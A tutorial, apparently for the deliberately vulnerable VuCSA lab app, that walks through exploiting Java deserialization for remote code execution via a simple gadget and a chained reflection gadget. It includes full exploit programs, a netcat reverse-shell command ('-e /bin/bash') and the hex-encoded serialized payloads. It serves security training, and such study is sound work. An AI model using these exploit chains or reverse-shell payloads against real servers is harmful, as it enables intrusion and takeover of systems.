Methodology

Vulnerable Java Deserialization (RCE) Testing

Vulnerable Java deserialization can lead to remote code execution (RCE), which allows attackers to run malicious code on the server.

VuCSA contains RCE vulnerability and two different vulnerable paths that the attacker can take in order to execute commands on the server. Both can be easily found in server JAR file or directly in the code.

First, look at the traffic that is being sent to the server. If you check hexadecimal representation, you will see that the payload starts with AC ED 00 05. That suggests us that the payload is serialized through Java serialization. You can also see that com.warxim.vucsa.common.message.rcedeserialization.MessageContent object is being sent.

Payloads provided in this tutorial use netcat. However, you can use any other payload. For example, if you just want to see that it works, you can use payload like "calc.exe" on Windows, that will open calculator.

Java Deserialization Basics

There are multiple ways the developers can implement serialization and deserialization of objects, some of them are very popular and can be safe if used correctly (e.g. using JSON). However, there is also a potentially dangerous serialization built into Java, which allows developers to serialize objects and then deserialize them back.

In order to serialize object into sequence of bytes, Java uses interface java.io.Serializable, which marks the object as serializable. The object can also contain method readObject(ObjectInputStream in) that handles the deserialization:

Item.java
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Item implements Serializable {
    public String key;
    public String value;
    
    private void readObject(ObjectInputStream in) throws Exception {
        in.defaultReadObject();
        
        System.out.println("Read item " + key + " with value " + value);
    }
}

Serialization code uses java.io.ObjectOutputStream and deserialization uses java.io.ObjectInputStream, for example:

Example.java
import java.io.*;

public class Example {
    public static void main(String[] args) throws IOException {
        var item = new Item();
        item.key = "Key 1";
        item.value = "Value 1";

        byte[] serializedItem;
        try (var byteStream = new ByteArrayOutputStream();
             var objectOutputStream = new ObjectOutputStream(byteStream)) {
            objectOutputStream.writeObject(item);
            serializedItem = byteStream.toByteArray();
        }

        Item deserializedItem;
        try (var byteInputStream = new ByteArrayInputStream(serializedItem);
             var objectInputStream = new ObjectInputStream(byteInputStream)) {
            deserializedItem = (Item) objectInputStream.readObject();
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }

        System.out.println(deserializedItem.key + ": " + deserializedItem.value);
    }
}

Note that any object in classpath with Serializable interface can be deserialized. This can allow the attacker to let the server deserialize potentially dangerous object or combination of objects, which leads to a vulnerability in the application.

Basic RCE (easy)

In order to find the basic RCE, you can load the server JAR file (vucsa-server-1.1.jar) into IntelliJ IDEA as a library and let internal decompiler show you the code.

Basic RCE challenge is represented by the BasicCommand file. You can let the IDE decompile the file and you will see the following class:

BasicCommand.java
package com.warxim.vucsa.server.challenge.rcedeserialization.internal;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class BasicCommand implements Serializable {
    public String cmd;

    public BasicCommand() {
    }

    private void readObject(ObjectInputStream in) throws Exception {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.cmd);
    }
}

As you can see, it is a very basic serializable object, which executes string content of cmd field through Runtime.getRuntime().exec(cmd) method. Since the BasicCommand class is on the server classpath, the only thing you need to do is to construct serialized object of this class with any payload that you want to run on the server and then send it instead of the com.warxim.vucsa.common.message.rcedeserialization.MessageContent object that is being sent by the VuCSA client.

To make things easier for us to test, let's also add petep-lib.jar (and optionally petep-lib-sources.jar) from petep/api directory into the IDE project as a library. By that, we will be able to use PETEP utilities for working with bytes.

For our example, we will use netcat command. First, run the following command on the machine with the VuCSA client:

nc -l -v -p 4444

The netcat command will listen on port 4444. For the payload, we will use the following command, which will connect to the port 4444 and run bash:

nc -nv 127.0.0.1 4444 -e /bin/bash

In order to create the payload, we will use the described serialization approach and then use BytesUtils.bytesToHexString(bytes, length) from the PETEP library to convert the bytes to readable hex format, which can be directly used within PETEP PDU editor:

BasicExploitMain.java
import com.warxim.petep.util.BytesUtils;
import com.warxim.vucsa.server.challenge.rcedeserialization.internal.BasicCommand;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class BasicExploitMain {
    public static void main(String[] args) throws IOException {
        var basicCommand = new BasicCommand();
        basicCommand.cmd = "nc -nv 127.0.0.1 4444 -e /bin/bash";
        
        try (var byteStream = new ByteArrayOutputStream();
             var objectOutputStream = new ObjectOutputStream(byteStream)) {
            objectOutputStream.writeObject(basicCommand);
            var payload = byteStream.toByteArray();
            System.out.println(BytesUtils.bytesToHexString(payload, payload.length));
        }
    }
}

Output of this program will be serialized BasicCommand with the netcat payload:

AC ED 00 05 73 72 00 4A 63 6F 6D 2E 77 61 72 78 69 6D 2E 76 75 63 73 61 2E 73 65 72 76 65 72 2E 63 68 61 6C 6C 65 6E 67 65 2E 72 63 65 64 65 73 65 72 69 61 6C 69 7A 61 74 69 6F 6E 2E 69 6E 74 65 72 6E 61 6C 2E 42 61 73 69 63 43 6F 6D 6D 61 6E 64 30 C6 13 98 69 E8 99 97 02 00 01 4C 00 03 63 6D 64 74 00 12 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 78 70 74 00 22 6E 63 20 2D 6E 76 20 31 32 37 2E 30 2E 30 2E 31 20 34 34 34 34 20 2D 65 20 2F 62 69 6E 2F 62 61 73 68

Once you send these bytes as part of the payload to the server through Repeater / Catcher, you will see that the server connected to your netcat listener:

Advanced RCE

Advanced RCE requires you to chain serialized objects. All required objects can be found under com.warxim.vucsa.server.challenge.rcedeserialization.internal.advanced package.

If you go through the classes, you will discover the following information:

class ProcessorCommand
Command for running processor for given arguments.
interface Processor
Processor that can process input args and return result.
class ClassProcessor
Uses class from first arg and method name from second arg to call the class method with remaining args as arguments.
class ObjectProcessor
Uses object from first arg and method name from second arg to call the object method with remaining args as arguments.
class ChainedProcessorDescriptor
Describes processor and its arguments for chaining.
class ChainedProcessorOutputAsArgPlaceholder
Placeholder class used to represent Output to Input argument.
class ChainedProcessors
Describes chained processors.

These classes are everything you need to exploit the Java deserialization. In order to achieve the RCE, we will use the same Java class Runtime.getRuntime().exec(cmd), however, the path to call it with our custom parameter will be a bit longer. Basically, we need to split the call into separate steps:

  1. Get runtime instance by calling static method getRuntime on Runtime class using ClassProcessor.
  2. Call exec on Runtime instance using ObjectProcessor.
  3. Chain the processors using ChainedProcessorDescriptor and ChainedProcessors.
  4. Make ProcessorCommand constructor accessible and construct the command from the chained processor.
  5. Serialize the command and convert to hex string for usage in PETEP.
AdvancedExploitMain.java
import com.warxim.petep.util.BytesUtils;
import com.warxim.vucsa.server.challenge.rcedeserialization.internal.advanced.*;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
import java.util.List;

public class AdvancedExploitMain {
    public static void main(String[] args) throws IOException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        // Command to execute on the server
        var commandPayload =  "nc -nv 127.0.0.1 4444 -e /bin/bash";

        // Create class processor to call Runtime::getRuntime
        var classChainedProcessor = new ChainedProcessorDescriptor(
                new ClassProcessor(),
                new Object[] {Runtime.class, "getRuntime"}
        );

        // Create object processor to call Runtime::exec on Runtime instance
        var outputToInput = new ChainedProcessorOutputAsArgPlaceholder();
        var objectChainedProcessor = new ChainedProcessorDescriptor(
                new ObjectProcessor(),
                new Object[] {outputToInput, "exec", commandPayload}
        );

        // Create chained processor that will first call class processor and then object processor
        var chainedProcessor = new ChainedProcessors(new ArrayList<>(List.of(
                classChainedProcessor,
                objectChainedProcessor
        )));

        // Set constructor accessible and call it
        var constructor = ProcessorCommand.class.getDeclaredConstructor(Processor.class, Object[].class);
        constructor.setAccessible(true);
        var processorCommand = constructor.newInstance(chainedProcessor, new Object[0]);

        // Create payload
        try (var byteStream = new ByteArrayOutputStream();
             var objectOutputStream = new ObjectOutputStream(byteStream)) {
            objectOutputStream.writeObject(processorCommand);
            var payload = byteStream.toByteArray();
            System.out.println(BytesUtils.bytesToHexString(payload, payload.length));
        }
    }
}

Output of this program will be serialized ProcessorCommand with the netcat payload:

AC ED 00 05 73 72 00 57 63 6F 6D 2E 77 61 72 78 69 6D 2E 76 75 63 73 61 2E 73 65 72 76 65 72 2E 63 68 61 6C 6C 65 6E 67 65 2E 72 63 65 64 65 73 65 72 69 61 6C 69 7A 61 74 69 6F 6E 2E 69 6E 74 65 72 6E 61 6C 2E 61 64 76 61 6E 63 65 64 2E 50 72 6F 63 65 73 73 6F 72 43 6F 6D 6D 61 6E 64 29 74 C5 B2 1F 63 87 92 02 00 02 5B 00 04 61 72 67 73 74 00 13 5B 4C 6A 61 76 61 2F 6C 61 6E 67 2F 4F 62 6A 65 63 74 3B 4C 00 09 70 72 6F 63 65 73 73 6F 72 74 00 52 4C 63 6F 6D 2F 77 61 72 78 69 6D 2F 76 75 63 73 61 2F 73 65 72 76 65 72 2F 63 68 61 6C 6C 65 6E 67 65 2F 72 63 65 64 65 73 65 72 69 61 6C 69 7A 61 74 69 6F 6E 2F 69 6E 74 65 72 6E 61 6C 2F 61 64 76 61 6E 63 65 64 2F 50 72 6F 63 65 73 73 6F 72 3B 78 70 75 72 00 13 5B 4C 6A 61 76 61 2E 6C 61 6E 67 2E 4F 62 6A 65 63 74 3B 90 CE 58 9F 10 73 29 6C 02 00 00 78 70 00 00 00 00 73 72 00 58 63 6F 6D 2E 77 61 72 78 69 6D 2E 76 75 63 73 61 2E 73 65 72 76 65 72 2E 63 68 61 6C 6C 65 6E 67 65 2E 72 63 65 64 65 73 65 72 69 61 6C 69 7A 61 74 69 6F 6E 2E 69 6E 74 65 72 6E 61 6C 2E 61 64 76 61 6E 63 65 64 2E 43 68 61 69 6E 65 64 50 72 6F 63 65 73 73 6F 72 73 E5 08 41 34 A1 38 37 B2 02 00 01 4C 00 0A 70 72 6F 63 65 73 73 6F 72 73 74 00 15 4C 6A 61 76 61 2F 75 74 69 6C 2F 41 72 72 61 79 4C 69 73 74 3B 78 72 00 54 63 6F 6D 2E 77 61 72 78 69 6D 2E 76 75 63 73 61 2E 73 65 72 76 65 72 2E 63 68 61 6C 6C 65 6E 67 65 2E 72 63 65 64 65 73 65 72 69 61 6C 69 7A 61 74 69 6F 6E 2E 69 6E 74 65 72 6E 61 6C 2E 61 64 76 61 6E 63 65 64 2E 42 61 73 65 50 72 6F 63 65 73 73 6F 72 D0 E5 E6 5D 25 BA 51 08 02 00 00 78 70 73 72 00 13 6A 61 76 61 2E 75 74 69 6C 2E 41 72 72 61 79 4C 69 73 74 78 81 D2 1D 99 C7 61 9D 03 00 01 49 00 04 73 69 7A 65 78 70 00 00 00 02 77 04 00 00 00 02 73 72 00 61 63 6F 6D 2E 77 61 72 78 69 6D 2E 76 75 63 73 61 2E 73 65 72 76 65 72 2E 63 68 61 6C 6C 65 6E 67 65 2E 72 63 65 64 65 73 65 72 69 61 6C 69 7A 61 74 69 6F 6E 2E 69 6E 74 65 72 6E 61 6C 2E 61 64 76 61 6E 63 65 64 2E 43 68 61 69 6E 65 64 50 72 6F 63 65 73 73 6F 72 44 65 73 63 72 69 70 74 6F 72 9C 3E E2 7F 75 36 5E E6 02 00 02 5B 00 04 61 72 67 73 71 00 7E 00 01 4C 00 09 70 72 6F 63 65 73 73 6F 72 71 00 7E 00 02 78 70 75 71 00 7E 00 04 00 00 00 02 76 72 00 11 6A 61 76 61 2E 6C 61 6E 67 2E 52 75 6E 74 69 6D 65 00 00 00 00 00 00 00 00 00 00 00 78 70 74 00 0A 67 65 74 52 75 6E 74 69 6D 65 73 72 00 55 63 6F 6D 2E 77 61 72 78 69 6D 2E 76 75 63 73 61 2E 73 65 72 76 65 72 2E 63 68 61 6C 6C 65 6E 67 65 2E 72 63 65 64 65 73 65 72 69 61 6C 69 7A 61 74 69 6F 6E 2E 69 6E 74 65 72 6E 61 6C 2E 61 64 76 61 6E 63 65 64 2E 43 6C 61 73 73 50 72 6F 63 65 73 73 6F 72 83 DA EC 9F B7 E1 3F 16 02 00 00 78 71 00 7E 00 08 73 71 00 7E 00 0C 75 71 00 7E 00 04 00 00 00 03 73 72 00 6D 63 6F 6D 2E 77 61 72 78 69 6D 2E 76 75 63 73 61 2E 73 65 72 76 65 72 2E 63 68 61 6C 6C 65 6E 67 65 2E 72 63 65 64 65 73 65 72 69 61 6C 69 7A 61 74 69 6F 6E 2E 69 6E 74 65 72 6E 61 6C 2E 61 64 76 61 6E 63 65 64 2E 43 68 61 69 6E 65 64 50 72 6F 63 65 73 73 6F 72 4F 75 74 70 75 74 41 73 41 72 67 50 6C 61 63 65 68 6F 6C 64 65 72 5C 4A 73 87 12 05 0F D8 02 00 00 78 70 74 00 04 65 78 65 63 74 00 22 6E 63 20 2D 6E 76 20 31 32 37 2E 30 2E 30 2E 31 20 34 34 34 34 20 2D 65 20 2F 62 69 6E 2F 62 61 73 68 73 72 00 56 63 6F 6D 2E 77 61 72 78 69 6D 2E 76 75 63 73 61 2E 73 65 72 76 65 72 2E 63 68 61 6C 6C 65 6E 67 65 2E 72 63 65 64 65 73 65 72 69 61 6C 69 7A 61 74 69 6F 6E 2E 69 6E 74 65 72 6E 61 6C 2E 61 64 76 61 6E 63 65 64 2E 4F 62 6A 65 63 74 50 72 6F 63 65 73 73 6F 72 FD 6C EE DE 82 84 69 B9 02 00 00 78 71 00 7E 00 08 78

Once you send these bytes as part of the payload to the server through Repeater / Catcher, you will see that the server connected to your netcat listener: